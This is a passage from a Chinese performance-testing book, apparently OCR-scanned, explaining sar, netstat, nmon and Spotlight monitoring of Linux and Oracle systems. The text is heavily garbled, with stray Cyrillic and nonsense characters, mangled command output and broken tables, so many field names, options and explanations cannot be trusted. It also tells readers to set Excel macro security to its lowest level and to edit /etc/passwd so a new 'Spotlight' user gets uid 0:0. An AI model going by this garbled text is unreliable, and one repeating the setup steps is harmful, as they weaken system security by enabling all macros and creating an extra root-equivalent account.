dentunusd: 目录 高 速 缓存 中 未 被 使 用 的 条 目 数 。 


3) sar 监 控 内 存 和 交互 空间 。 


0 


0 
0 
0 
0 


0.00 


.00 


0 


0 
0 
0 


[root@~]# sar -r 2 4 

14 时 41 分 53 秒 kbmemfree kbmemused $memused kbbuffers kbcached kbswpfree kbswpused $swpused kbswpcad 
14 时 41 分 55 秒 13736144 35678052 72.20 510304 33588320 8388308 292 

14 时 41 分 57 秒 13736184 35678012 72.20 510304 33588320 8388308 292 

148417559) 13736316 35677880 72.20 510304 33588320 8388308 292 

14842750107) 13736316 35677880 72.20 510304 33588320 8388308 292 

Ауегаде: 13736240 35677956 72.20 510304 33588320 8388308 292 


输出 字段 解释 如 下 。 
: Kbmemfree: 因为 这 个 值 和 ftee 命 令 中 的 ftee 值 基本 一 致 ， 所 以 它 不 包括 buffer 和 cache 的 空间 。 
* kbmemused: 因为 这 个 值 和 free 命 令 中 的 used 值 基本 一 致 ， 所 以 它 包括 buffetf 和 cache 的 空间 。 


: %memused: 这 个 值 是 kbmemused 和 内 存 总 量 〈 不 包括 swap) 的 百分比 


0 


待 分 配 内 存 ， 此 时 应 加 大 


: kbbuffets 和 kbcached: 这 两 个 值 就 是 free 命 令 中 的 buffer 和 cache。 
: kbcommit: 保证 当前 系统 所 需要 的 内 存 ， 即 为 了 确保 不 溢出 而 需要 的 内 存 (RAMt+swap) o 
: %commit: 这 个 值 是 kbcommit 与 内 存 总 量 (包括 swap) 的 一 个 百分比 。 


4) sar 监 控 内 存 分 页 。 


[root@~ sar -B 2 1 

14 时 44 分 25 秒 pgpgin/s pgpgout/s  fault/s majflt/s 
14 时 44 分 27 秒 .00 30.00 238.00 0.00 
Average: 0.00 30.00 238.00 0.00 


输出 字段 解释 如 下 。 

. pgpgin/s: 表示 每 秒 从 磁盘 或 SWAP 置换 到 内 存 的 字 节 数 (КВ) 。 

: pepgout/s: 表示 每 秒 从 内 存 置换 到 磁盘 或 SWAP 的 字 节 数 (KB) o 

: fault/s: 每 秒 系统 产生 的 缺 页 数 ， 即 主 缺 页 与 次 缺 页 之 和 (maortminor) o 
: majflt/s: 每 秒 产生 的 主 缺 页 数 。 


5) sar 监 控 MMO 速 率 。 


[root@~]# sar -b 2 1 

144927 189b tps rtps wtps  bread/s  bwrtn/s 

14 时 49 分 20 秒 14.00 0.00 14.00 0.00 184.00 
Average: 14.00 0.00 14.00 0.00 184.00 
输出 字段 解释 如 下 。 


' tps: 每 秒 物理 设备 的 [/O 〇 传输 总 量 。 

' ftps: 每 秒 从 物理 设备 读 入 的 数据 总 量 。 

Wtps: 每 秒 向 物理 设备 写 入 的 数据 总 量 。 

` bread/s: 每 秒 从 物理 设备 读 入 的 数据 量 ， 单 位 为 块 /s。 
` bwrtn/s: 每 秒 向 物理 设备 写 入 的 数据 量 ， 单 位 为 块 /s。 


6) sar 监 控 队 列 长 度 以 及 系统 平均 负载 。 


[root@~ # sar -q 32 


14 时 52 分 22 秒 ^| runq-sz plist-sz  ldavg-1 ldavg-5 ldavg-15 
14 5227 25% 0 432 0.00 0.00 0.00 
14H] 524) 285b 0 430 0.00 0.00 0.00 
Average: 0 431 0.00 0.00 0.00 
输出 字段 解释 如 下 。 


' runq-sz: 运行 队列 的 长 度 【〈 等 待 运行 的 进程 数 ) 。 

< plist-sz: 进程 列表 中 进程 (processes) 和 线程 (threads) 的 数量 。 
-ldavg-l: 最 后 1min 的 系统 平均 负载 (system load average) o 

: ldavg-5: 过 去 5min 的 系统 平均 负载 。 

. 1йаур-15: 过 去 15min 的 系统 平均 负载 。 


7) sar 监 控 交 换 页 信息 。 


[root@~]# sar -W 3 2 


14 时 54 分 35 秒 pswpin/s pswpout/s 
14 时 54 分 38 秒 0.00 0.00 
14 时 54 分 41 秒 0.00 0.00 
Average: 0.00 0.00 
输出 字段 解释 如 下 。 


. pswpin/s: 每 秒 系 统 换 入 的 交换 页 面 (swap pag) 数量 。 
- pswpout/s: 每 秒 系 统 换 出 的 交换 页 面 数量 。 


8) sar 监 控 设备 使 用 情况 。 


[root@~]# sar -d 3 2 -p 

14 时 58 分 12 秒 DEV tps rd sec/s wr sec/s avgrq-sz avgqu-sz await svctm $util 
14] 5827 15%? sda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 
14 时 58 分 15 秒  sdal 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 
14 时 58 分 15 秒 ”sda2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 
14 时 58 分 15 秒 sdb 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 
14 时 58 分 15 秒  sdbl 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 
14 时 58 分 15 秒 nodev 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 
14 时 58 分 15 秒 nodev 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 
14 时 58 分 15 秒 nodev 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 
14 时 58 分 15 秒 nodev 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 
14 时 58 分 15 秒 nodev 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 


输出 字段 解释 如 下 。 


' tps: 每 秒 从 物理 磁盘 I/ 〇 的 次 数 。 多 个 逻辑 请 求 会 被 合并 为 一 个 1/O 〇 磁盘 请 求 ， 一 次 传输 的 大 小 是 不 确定 的 。 
' rd_sec/s: 每 秒 读 扇 区 的 次 数 。 
' wt sec/s: 每 秒 写 扇 区 的 次 数 。 
-avgrqpsz: 平均 每 次 设备 I/O 操 作 的 数据 大 小 (AE) o 
' avgqu-sz; 磁盘 请 求 队列 的 平均 长 度 。 
await: 从 请 求 磁盘 操作 到 系统 完成 处 理 ， 每 次 请 求 的 平均 消耗 时 间 ， 包 括 请 求 队列 等 待 时 间 ， 单 位 是 这 秒 (1s=1000ms) 。 
© svctm: 系统 处 理 每 次 请 求 的 平均 时 间 ， 不 包括 在 请 求 队列 中 消耗 的 时 间 。 
: %util: I/O 请 求 占 CPU 的 百分比 ， 比 率 越 大 ， 说 明 越 饱和 。 
要 判断 系统 瓶颈 问题 ， 有 时 需 几 个 sar 命 令 选项 结合 起 来 。 
- 怀疑 CPU 存在 瓶颈 ， 可 用 satru 和 sat-q 等 来 查看 。 


- 怀疑 内 存 存 在 瓶颈 ， 可 用 sar-B、sar-tr 和 sat-W 等 来 查看 。 


- 怀疑 I/O 存 在 瓶颈 ， 可 用 sat-b、satr-u 和 sar-d 等 来 查看 。 
5.netstat 

(1) netstat 命 令 用 法 
netstat 命 令 用 于 显示 本 机 网 络 连接 、 运 行 端口 、 路 由 表 等 信息 ， 其 语法 如 下 。 
netstat[ 选 项 ] 

(2) 各 选项 含义 
各 个 选项 以 及 参数 的 含义 如 下 。 

` -a (all) : 显示 所 有 有 效 连接 信息 的 列表 ， 包 括 已 建立 的 连接 (ESTABLISHED) 、 监 听 连 接 请 求 (LISTENING) 的 连接 、 断 开 连 接 (CLOSE WAIT) 和 处 于 联机 等 待 状态 的 (TIMFE_WAIT) 等 。 
' -t (аср) : 显示 tcp 相 关 选 项 。 

:-u (мар) : 仅 显 示 udp 相 关 选 项 。 

(oni 拒绝 显示 别名 ， 能 显示 数字 的 全 部 转化 成 数字 。 

1: 仅 列 出 在 Listen (监听 ) 的 服务 状态 。 

р: 显示 建立 相关 连接 的 程序 名 。 

ч: 显示 路 由 信息 ， 路 由 表 除 了 显示 有 效 路 由 外 ， 还 显示 当前 有 效 的 连接 。 
De] 显示 扩展 信息 ， 如 uid 等 。 

0l 按 各 个 协议 统计 。 

o-c 每 隔 一 个 国定 时 间 ， 执 行 该 netstat 命 令 。 
其 中 LISTEN 和 LISTENING 的 状态 只 有 用 -a 或 者 -| 才能 看 到 。 

(3) netstat 用 法 示例 


下 面 举例 说 明 netstat 的 一 些 用 法 。 


[root@~]# netstat -i 


Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg 
eth0 1500 0 832846733 0 0 0 598227149 0 0 0 BMRU 
ethl 1500 0 430082805 0 0 0 467120369 0 0 0 BMRU 
[e 16436 0 718729 0 0 0 718729 0 0 0 LRU 
输出 字段 解释 如 下 。 


| Iface: 表示 网 络 设备 的 接口 名 称 。 
MTU: 表示 最 大 传输 单元 ， 单 位 为 字 节 。 
· RX-OK/TX-OK: 表示 已 经 准确 无 误 地 接收 /发 送 了 多 少数 据 包 。 
` RX-ERR/TX-ERR: 表示 接收 /发 送 数 据 包 时 产生 了 多 少 错误 。 
: RX-DRP/TX-DRP: 表示 接收 /发 送 数 据 包 时 丢弃 了 多 少数 据 包 。 
: RX-OVR/TX-OVR: 表示 由 于 误差 而 丢失 了 多 少数 据 包 。 
| Flg 表 示 接 口 标记 ， 其 中 : 
В: 已 经 设置 了 一 个 广播 地 址 。 


Іг 该 接口 是 一 个 回 送 设备 。 


М: 接收 所 有 数据 包 (混乱 模式 ) o 
N: 避免 跟踪 。 
‚О: 在 该 接口 上 ， 禁 用 ARP。 
“Р: 这 是 一 个 点 到 点 连接 。 
OR: 接口 正在 运行 。 
OU: 接口 处 于 “活动 ”状态 。 
在 上 述 输出 字段 中 ，RX-ERRVTX-ERR、RX-DRP/TX-DRP 和 RX-OVRVTX-OVR 的 值 应 该 都 为 0， 如 果 不 为 0， 并 且 很 大 ， 那 么 网 络 上 衣 定 有 问题 ， 网 络 传输 性 能 也 一 定 会 下 降 。 
6.nmon 
nmon 是 一 种 在 aix 与 各 种 Linux 操 作 系统 上 广泛 使 用 的 监控 与 分 析 工具 ， 它 主要 记录 以 下 内 容 。 
| CPU 5 JE 3 ç 
` 内 存 使 用 情况 。 
' 磁盘 1/ 〇 速度、 传输 和 读 写 比 率 。 
. 文件 系统 的 使 用 率 。 
. 网 络 I/O 速 度 、 传 输 和 读 写 比 率 、 错 误 统 计 率 与 传输 包 的 大 小 。 
` 消耗 资源 最 多 的 进程 。 
- 计算 机 详细 信息 和 资源 。 
:页面 空间 和 页 面 I/O 速 度 。 
- 用 户 自 定义 的 磁盘 组 。 
. 网 络 文件 系统 。 


nmon 是 监控 Linux 操 作 系统 比较 常用 的 一 款 测 试 工具 ， 一 方面 ，mon 记 录 的 信息 比较 全 面 ， 另 一 方面 ， 它 能 在 系统 运行 过 程 中 实时 捕捉 系统 资源 的 使 用 情况 ， 并 且 能 输出 结果 到 文件 中 ， 然 后 通过 
nmon_analyzer 工 具 产 生 数 据 文件 与 图 形 化 结果 。 这 样 就 可 以 在 晚上 无 人 值守 的 情况 下 ， 采 集 操 作 系统 的 性 能 数据 ， 这 一 点 是 十 分 方便 的 。 


nmon 的 下 载 地 址 为 http://sourceforge.jp/projects/sfnet nmony/releases/， 在 下 载 时 要 注意 ， 要 下 载 对 应 自己 操作 系统 版 本 的 安装 包 。 


下 载 后 解压 ， 到 nmon 的 执行 目录 下 执行 响应 的 类 似 /nmon 命 令 后 ， 可 以 看 到 如 图 9-24 所 示 内 容 ， 并 分 别 输入 c、t、n、m， 可 以 了 解 系统 CPU、 内 人 存 和 消耗 资源 最 高 的 线程 的 使 用 情况 。 
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9-24 nmon 实 时 监控 


为 了 实时 监控 系统 在 一 段 时 间 内 的 使 用 情况 并 将 结果 记录 下 来 ， 可 以 通过 运行 以 下 命令 实现 。 


#./ nmon -fT -s 2 -c 2 


相关 参数 解释 如 下 。 

. -f: 按 标 准 格式 输出 文件 : _YYYYMMDD_HHMM.nmon。 

t 输出 中 包括 占用 率 较 高 的 进程 。 

0-52: 每 2 秒 进行 一 次 数据 采集 。 

(62) 一 共 采 集 2 次 。 

输入 命令 后 ， 自 动 在 当前 目录 生成 一 个 hostname timeSeries.nmon 的 文件 (hostname 为 当前 监视 的 服务 器 的 主机 名 ) ， 如 djt 137 188 130226 1749.nmon。 
生成 .nmon 文 件 后 ， 就 可 以 用 nmon analyser.xls 解 析 成 的 .nmon 文 件 ， 具 体操 作 步 又 如 下 。 

1) 打开 nmon analyser.xls, 

2) 调整 Excel 安 全 性 ， 将 宏 的 安全 性 调 到 最 低 。 

3) 修改 完毕 后 保存 ， 重 新 打开 nmon analyser.xls, 


4) 单 击 Analyse nmon data 按 钮 ， 加 载 之 前 下 载 的 djt 137 188 130226 1749.nmon 文 件 ， 打 开 后 会 看 到 nmon 的 操作 系统 资源 监控 图 ， 如 图 9-25 所 示 。 
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9-25 ”nmon 操 作 系 统 资 源 监 控 图 


nmon analyser 中 有 很 多 sheet 页 ， 每 个 sheet 页 中 也 有 不 同 的 资源 监控 指标 ， 可 能 大 家 在 第 一 次 看 的 时 候 会 很 茫然 ， 这 么 多 指标 也 不 知道 如 何 分 析 ， 小 白 总 结 一 些 nmon analyser 的 指标 说 明 ， 供 大 家 


学 习 和 参考 。 

在 分 析 nmon analyser 的 指标 时 候 ， 我 们 要 综合 分 析 ， 重 点 看 的 是 CPU 以 及 1O 情 况 ， 比 如 查看 到 CPU 的 sy% 值 比较 大 ， 然 后 查看 下 disk busy 值 是 否 比较 大 ， 如 果 disk busy 的 值 比较 大 就 说 明 是 磁盘 IO 
问题 导致 的 CPU 使 用 过 高 。 

nmon 分 析 文 件 各 sheet 的 含义 如 表 9-3 所 示 。 

nmon analyser 分 析 文 件 的 sheet 页 有 很 多 参数 ， 可 能 一 些 指标 大 家 理解 得 不 是 很 清楚 ， 在 这 里 跟 大 家 对 重点 指标 进行 进行 解释 说 明 ， 完 整 版 指标 请 扫描 相应 二 维 码 获得 。 


表 9-3 nmon 分 析 文 件 各 表 含 义 


sheet 名 称 
SYS SUMM 
ААА 
BBBB 
BBBC 
BBBD 
ВВВЕ 
ВВВО 
BBBL 
BBBN 
BBBP 
CPUnn 
CPU ALL 
CPU SUMM 
[X3BUS Y 
DGREAD 
DGSIZE 
DGWRITE 
DGXFER 
DISKBSIZE 
DISKBUSY 
DISKREAD 
DISKWRITE 
DISK ХЕЕЕ 
DISKSERV 
DISK SUMM 
EMCBSIZE/FASEtBSIZE 
EMCBUSY/FAStBUSY 
EMCREAD/FAStREAD 


EMCWRITE/FAStWRITE 


L'OADAPT 


JFSFILE 
JFSINODE 
MEM 
MEMUSE 


MEMNEW 


NET 
NETPACKET 


PROC 


PROCALO 
TOP 


表 9-4 为 nmon 关 键 指标 及 其 说 明 。 


sheet 含义 

系统 汇总 , 蓝 线 为 CPU 占有 率 变 化 情况 . 粉 线 为 磁盘 UO 的 变化 情况 

关于 操作 系统 以 及 nmon 本 身 的 一 些 信 息 

ЕТ ENS PHETT E AATE 

St» HEC DLE. АЛ КИЧЕ m 

SE Si [E EL IT er ли Pod d FRE с Ж ) 

包 舍 通过 lsdey 命令 绪 取 的 系统 设备 太 其 特征 ， 显 示 vpaths 和 hdisks 之 则 的 映射 关系 

显示 磁盘 组 许 细 的 量 射 区 系 

PEIR (LPAR) 配置 细节 信息 

网 络 适 配 闽 信息 

vmtune, schedtune, emstat 和 1sattr 命令 的 输出 信息 

显示 执行 时 间 内 CPU 占用 情况 ， 其 中 也 合 user, sysTe. wait% 和 idle% 

所 有 CPU 概述 ， 显 示 所 有 CPU 平均 占用 情况 ， 其 中 包含 SMT 状态 

每 一 个 CPU 在 执行 时 间 内 的 占用 情况 ， 其 中 包 会 user%%、sys%9、wait% 和 idle% 

磁盘 组 每 个 hdisk 设备 平均 占用 情况 

每 个 磁盘 组 的 平 拘 读 情 况 

繁 个 磁盘 组 的 平均 读 与 情 沈 ( 块 天 小 ) 

组 个 磁盘 组 的 平均 与 情况 

每 个 磁盘 组 的 LO 每 秘 操作 

执行 时 间 内 每 个 hdisk 的 传输 块 大 小 

每 个 hdisk 设备 平均 占用 情况 

每 个 hdisk 的 平均 读 情况 

每 个 hdisk 的 平均 与 情况 

每 个 hdisk B] L/O 每 秒 操 作 

本 sheet 显示 在 每 个 收集 间隔 中 hdisk 的 评估 服务 时 间 (未 响应 时 间 ) 

SL IK disk ge, 5 UA vo 操作 

执行 时 间 内 EMC 存储 的 传输 块 大 小 

ЕМС 存储 设备 平均 占用 情况 

ЕМС 存储 的 平均 读 情 况 

ЕМС 存储 的 平均 写 情况 

对 应 BBBC sheet 的 每 个 WO 适 配 问 列表 ， 包 含 了 数据 传输 速度 (于 字 节 / 秒 )、17O 

操作 执行 的 总 数量 等 信息 

本 sheet 显示 对 于 每 一 个 交 件 系统 中 ， 在 每 个 同 隔 区 间 正 在 被 使 用 的 空间 百分比 

本 sheet 显示 对 于 每 一 个 文件 系统 中 ， 在 每 个 间隔 区 间 正 在 被 使 用 的 inode 百分比 

本 sheet 主 图 上 显示 空闲 物理 内 存 的 数量 

ВЕ comp ZS EP ,本 sheet 包 傅 的 所 有 项 都 和 vmtune 命令 的 报告 中 一 样 

本 sheet 显示 分 配 的 内 存 片 信息 ， 分 三 大 类 : 用 户 进程 使 用 页 ， 文 件 系统 缓存 ， 系 统 
内 核 使 用 页 

本 sheet 显示 系统 中 每 个 网 络 适 配器 的 数据 传输 速率 ( 千 字 节 / 秒 ) 

本 sheet 统计 每 个 适配器 网 络 读 写 包 的 数量 ; 这 个 类 似 于 netpmon -O dd asp > 

本 sheet & 2; nmon 内 校内 ир) IT E. Hi RunQueue 和 Swap-in 域 是 使 用 的 平 
Гар (арр, 其 他 项 的 单位 是 比率 / #b 

本 sheet 包含 基于 可 用 的 和 active 的 异步 TO 进程 数量 信息 

利用 top 命令 监控 到 的 指标 


表 9-4 nmon 关 键 指标 及 其 说 明 


关键 指标 类 型 关键 指标 含义 
— CPU 占有 率 变化 情况 
IO 的 变化 情况 
AIX АТХ 版 本 号 
hardware Tic ЧЕЛ], Ab SE Ж 
AAA ыз 
ЕТЕ 
监控 取样 间隔 ( 秒 ) 
被 测 主机 内 核 信息 

显示 在 用 户 模 式 下 执行 的 程序 所 使 用 的 CPU 百分比 : 用户 状 态 的 
cpu 占用 率 ， 如 果 该 状态 的 cpu 资源 占有 率 很 高 ， 超 出 了 预定 的 性 
User? 能 指标 ， 则 先 考 虑 优化 程序 ， 其 次 在 考虑 增加 便 件 。 对 于 Java 开发 
的 系统 ,可 以 通过 jprofiler 性 能 监控 工具 ， 来 查找 最 耗 сри 资源 的 代 
码 段 进行 优化 ， 竹 短程 序 的 运行 时 间 ， 从 而 达到 对 系统 性 能 的 提高 

显示 在 内 核 模式 下 执行 的 程序 所 使 用 的 CPU 百分比 ; 主要 用 于 
处 理 系统 内 核 进程 间 切 换 的 调度 。 当 Sys% 占用 较 高 的 比例 时 ， 则 
此 时 系统 在 忙于 处 理 进程 调度 ， 说 明 сри 浪费 在 进程 切 挠 上 的 时 间 
比较 大 , 可 以 考虑 增 大 时 间 片 长 度 ， 然 而 如 果 时 间 片 太 长 则 无 法 保 
证 老人 任务 实时 性 以 及 交互 性 或 者 减少 应 用 程序 进程 数 

显示 等 竺 WO 所 花 的 时 间 百 分 比 ; 当 wait EAGER A, a 
能 是 磁盘 读 写 有 问题 对 数据 库 系 统 来 说 ，wait 比例 逐渐 增高 ， 有 
可 能 意味 着 组 存 合 中 率 的 降低 ， 导 致 了 磁盘 读 写 的 增加 ， 此 时 可 以 
35 PS ЛП ЖЁН K |N 

Idle% 显示 CPU ШЧ ARE A >+ EE 
CPU% CPU Pk rh HIS OL 
ч Disk %Busy Hostname 执行 间隔 时 间 列 表 
DISKBUSY | — 
每 个 磁盘 执行 采样 数据 (磁盘 设备 的 占用 百分比 ) 
Disk total kb/s Hostname 执行 间隔 时 间 列 表 
Disk Read kb/s 每 个 位 盘 执 行 采样 数据 (磁盘 设备 的 读 速 率 ) 
Disk Write kb/s 每 个 磁盘 执行 采样 数据 (磁盘 设备 的 写 速率 
['О%ес 每 秒 钟 输出 到 物理 磁盘 的 传输 次 数 

对 TO 频 过 的 系统 ， 磁 盘 IO 有 可 能 成 为 系统 的 性 能 瓶颈 。 检 查 
磁盘 的 MO 情况 首先 查看 磁盘 的 繁忙 情况 ; 

当 磁 盘 长 期 外 于“ 忙 ”状态 时 ,说 明 磁 盘 传 输 已 经 跟 不 上 系统 的 
DISKBUSY |DISKBUSY mE. nie a qug US. 

对 数据 库 系统 来 说 ， 当 wait 比例 逐渐 增高 ， 磁 盘 读 在 增加 ， 但 
写 数 据 保 持 不 变 ， 有 可 能 意味 着 缓存 命中 率 的 降低 ， 此 时 可 以 适当 
HEEL ERE AA 
NET 本 sheet 显示 系统 中 每 个 网 络 适配器 的 数据 传输 速率 ( 千 字 节 / ЖУ) 

JFS Filespace “Used Hostname | 执行 间隔 时 间 列 表 
file system/LV 交 件 系统 以 及 mount f tix sr C. EE HIS IRI EI 27 К 
JFS Inode “Used Hostname 执行 间隔 时 间 列 表 


JFSINODE = TIT INVENIT GEE = RETN, 
交 件 系统 以 及 mount 磁盘 设备 的 inode 已 使 用 空间 百分比 


CPU ALL 


DISK SUMM 


JFSFILE 


关键 指标 类 型 关键 指标 名 称 
Memory Hostname 


Virtual free % 


Real free(MB) 


Virtual free(MB) 


Virtual total( MB) 


reclaims 


scans 


MEM 


PAGE 


cycles 


为 了 方便 读者 阅读 ， 要 了 解 更 多 nmon 参 数 信息 ， 可 扫描 提供 的 二 维 码 ， 


{М 


НУ. 


关键 指标 含义 
ИЖ ЕЕН] УЭ 
实际 剩余 内 存 百 分 比 
虚拟 剩余 内 存 百 分 比 
实际 剩余 内 存 大 小 (МВ) 


虚拟 剩余 内 存 大 小 (MB) 
实际 内 存 总 体 大 小 (MB) 
虚拟 内 存 总 体 大 
HELAI page faults (页 错误 ) 数 
每 秘 钟 所 读 入 的 页 数 ， 包括 从 文件 
每 秒 钟 所 写 出 的 页 数 ， 包 括 写 到 文件 系统 的 页 数 
每 秒 钟 从 页 面 空 间 所 读 取 的 页 数 
每 秒 钟 写 到 页 面 室 间 的 页 数 

从 nmon 回收 这 项 之 前 的 10 个 
表 了 页 替换 机 制 释放 的 pages/sec 的 


扫 摘 页 蔡 换 机 制 的 pages/sec 的 数量 ， 
页 替换 在 室 亲 页 数量 到 达 最 小 值 时 初始 化 ， 在 空 


у (MB) 


P 


系统 读 取 的 页 类 


EI. 
效 量 


= 241 


FH :] < 


| DES | | 


HAE 几 州 需 : 
Ј су Ж LB 
的 是 实 型 值 


PERPE 
—® Р, 


К. d times/sec HJ 21H , 
ax XI vmstat TA TÍ 


， 而 nmon 报 : is 


1 M 


通过 手机 阅读 。 


和 | vmstat 


ШЫ 


J E 
SE 


和 vmstat 1 ir HJ {Н 3e — ЖЕН]. 


ii 值 是 一 样 


ЕРУ, 最 大 值 


ШЕ ， 


来 补充 


只 是 vmstat 报告 的 这 


Ге 


Spotlight оп UNIX 是 一 个 Linux 操 作 系统 的 诊断 和 解决 方案 ， 适 用 于 Solaris、AlX、UNIX 和 Red Hat/Linux 操 作 系 统 。 它 采用 基于 Windows 的 控制 台 ， 在 同一 界面 上 实时 显示 组 件 活动 。 通 过 显示 实时 
的 UNIX/Linux 操 作 系统 、MO 和 内 核 的 活动 ，spotlight 能 够 查 明 问题 发 生来 源 。 图 形 化 的 数据 流 表 明了 所 有 组 件 之 间 数 据 的 流动 效率 。spotlight 主 界面 显示 的 内 存 、 缓 存 、 磁 盘存 储 和 网 络 等 组 件 之 间 来 往 
的 脉冲 信号 代表 相对 的 数据 传输 速率 和 系统 内 的 活动 水 平 ， 这 些 流量 可 以 检验 有 关 具 体系 统 的 性 能 特点 。 


7.Spotlight on Linux 


Spotlight 的 安装 和 配置 如 下 。 


1) 安装 Spotlight。Spotlight 的 下 载 地 址 为 http://www.quest.com，Spotlight 有 很 多 适用 版 本 ， 这 里 下 载 的 是 Spotlight on unix/linux, i&&Spotlight on Oracle, Spotlight on DB2, Spotlight 
on MySQL 等 版 本 ， 分 别 监 控 Oracle、DB2 和 MySQL。 


2) 配置 Spotlight。 注 意 Spotlight 默 认 不 能 使 用 root 用 户 进行 连接 ， 需 要 用 户 自己 创建 一 个 具有 root 权 限 的 用 户 。 这 里 只 需 在 Linux 下 进行 如 下 操作 。 
- useradd Spotlight. 

- passwd Spotlight. 

.vimy/etc/passwd， 将 Spotlight 的 权限 改 成 0:0。 

3) 由 于 Spotlight 监 控 Linux 仍 然 使 用 Linux 的 sysstat 包 ， 所 以 需要 安装 sysstat 包 。 

@@ 检 查 是 否 安装 sysstat 包 ， 在 Linux 下 执行 : грт-а sysstat, 

@ 如 果 没 有 ， 则 安装 。Linux 下 执行 : rpm-ivh sysstat。 


4) 配置 Spotlight 连 接 Linux 即 可 ， 有 具体 配置 如 图 9-26 所 示 。 


19-26 ”配置 Spotlight 远 程 连接 Linux 


配置 完成 后 会 进入 Linux 的 监控 界面 ， 如 图 9-27 所 示 。 通 过 Spotlight 能 很 直观 方便 地 看 到 操作 系统 的 CPU (用 户 态 CPU、 系 统 态 CPU 和 剩余 CPU 的 使 用 情况 ) 、Memory (物理 内 存 和 虚拟 内 存 的 使 用 
情况 ) . Swap Files (交换 文件 的 使 用 情况 ) . Disk Activity (磁盘 使 用 情况 ) 、Paging in/out (每 秒 内 存 页 读 入 的 数量 和 每 秒 内 存 分 页 写 入 内 存 的 数量 。 这 个 是 CPU 与 内 存 间 的 交互 ) . Swapping in 
rate/out rate (页 交换 ， 这 个 是 进程 交互 ) 、Disk |/O (磁盘 的 MO， 也 就 是 磁盘 读 写 ) . Spotlight on Linux 的 监控 使 用 方法 同 9.5.1 节 中 介绍 的 Spotlight on Windows 基 本 类 似 ， 在 这 里 就 不 重复 介绍 ， 
大 家 可 以 参考 9.5.1 节 进行 学 习 。 


Memory 
Paging Swapping 
Processors: 16 Physical RAM 


Uptime :47d ih p^ AH co - 
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Time: 18:3! 
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图 9-27 配置 Spotlight 监 控 Linux 
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数据 库 有 很 多 类 型 ， 如 关系 型 数据 有 Oracle、DB2、Microsoft SQL Server, Microsoft Access, MySQL, Sybase, Informix; 非 关 系 型 数据 库 (NOSQL) Redis, MongoDB, CouchDB, 
Cassandra、Voldemort 等 。 不 同类 型 的 数据 库 有 不 同 的 监控 工具 ， 由 于 本 文 篇 幅 有 限 ， 所 以 只 对 Oracle 以 及 MySQL 数 据 的 监控 工具 进行 简单 介绍 。 


Oracle 的 性 能 监控 工具 也 有 很 多 ， 如 OEM、ADDM、Toad 等 ， 因 为 之 前 小 白 在 使 用 Spotlight on Windows 的 时 候 顺 带 下 载 了 Spotlight on Oracle， 所 以 这 里 就 选择 用 Spotlight on Oracle 进 行 监 
控 。 


Spotlight on Oracle 是 Windows 架 构 的 Oracle 数 据 库 监控 诊断 工具 ， 它 将 所 有 监控 下 的 数据 库 组 件 转化 为 图 形 显示 ， 藉 此 协助 性 能 测试 人 员 轻 松 掌控 Oracle 数 据 库 的 真正 处 理 结构 。 此 外 ，Spotlight 
on Oracle 还 提供 详尽 数据 库 动态 ， 包 括 数据 库 各 组 件 间 流 动 速度 的 实时 图 解 、 使 用 者 活动 、I/O 活 动 以 及 操作 上 资源 耗费 严重 的 问题 等 ， 能 帮助 性 能 测试 人 员 迅 速 发 掘 问题 所 在 ， 并 透 过 Spotlight 的 问题 诊 
断 与 解决 方式 建议 ， 及 早 排除 数据 库存 在 的 钼 颈 或 问题 ，Spotlight on Oracle 的 主要 特色 如 下 。 


- 图 形 化 、 实 时 显示 Oracle Instance 的 活动 状态 。 

* 利用 数据 流 、 图 形 、 颜 色 和 声音 等 方式 报警 ， 识 别 系统 问题 。 

显示 有 关 问 题 的 详细 信息 ， 如 活动 的 Sessions、 资 源 消 耗 大 的 SQL 语句 、Disk I/O 以 及 Locks/Latches/ 等 待 事件 。 
.内置 调 优 建议 ， 能 够 对 当前 的 性 能 状况 提出 专业 性 的 优化 建议 。 


° 报警 提示 ， 在 性 能 不 满足 既定 要 求 时 ， 自 动 触发 报警 机 制 。 


spotlight 连 接 Oracle 数 据 库 与 连接 Linux 基 本 相同 ， 但 需要 注意 的 是 ， 因 为 使 用 Spotlight 连 接 Oracle 的 用 户 需要 具有 DBA 权 限 ， 所 以 需要 配置 一 个 具有 DBA 权 限 的 用 户 进行 登录 ， 如 图 9-28 所 示 。 
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图 9-28 配置 Spotlight 连 接 Otacle 
2.Spotlight 监 控 分 析 
(1) 主 界 面 


登录 成 功 之 后 进入 监控 的 主 界 面 ， 如 图 9-29 所 示 ， 主 要 分 为 Sessions 面 板 、Host 面 板 、Server Processes 面 板 、SGA 面 板 、Background Processes (后 台 进 程 ) 面板 、Disk Storage (磁盘 存储 ) 面 
板 ， 下 面 一 一 进行 介绍 。 


cessions 


Response 


Total Users 


Run Queue 


Memory 


Free Priysicai RAM 


1) Sessions Pane| 面 板 说 明 。 


Response: 系统 的 响应 时 间 。 


Dedicated 


"asp 


DEpatdyers 
i 


Paralel 
query 


Job Queue 


60,197 blks/s 


£75 changesis 


193 redo ents/s 


3.79 Diks/s 


SGA 


Current Size 


др а (.EN 
t ы, is H 


Buffer Cache 41.0 GB 
Recycle Pool ПП KH 
Keep Pool .00 KB 


Buffer Cache Hit Ratio 


2610/5 


Hag = 


Redo Buffer 171 E 


311 hlks/s 


shared Poo 1.380 GA 


lava Pool 256 MB 


Large Pool 00 KB 


Puto Off 


9-29 Spotlight on Otacle 主 界面 


- Total Users: 总 用 户 SESSION 数 ， 相 当 于 “select username, status from v$session where username='CLPMAPP” , 


Database 
VWiriber 


recovery 


Vurier 


Redo Log 
Writer 


"ent 


Archiv er 


AREH1U 


: Active Users: 当前 正在 执行 的 用 户 SESSION 数 ， 相 当 于 “select username, status from v$session where status ACTIVE'and username ='CLPMAPP'” , 


数据 流向 : 表示 从 Server Processes Panel 来 的 数据 传输 速率 以 及 到 Server Processes Panel 去 的 数据 传输 速率 。 


2) Sessions Panel| 面 板 说 明 。 


: CPU: CPU 的 利用 率 。 


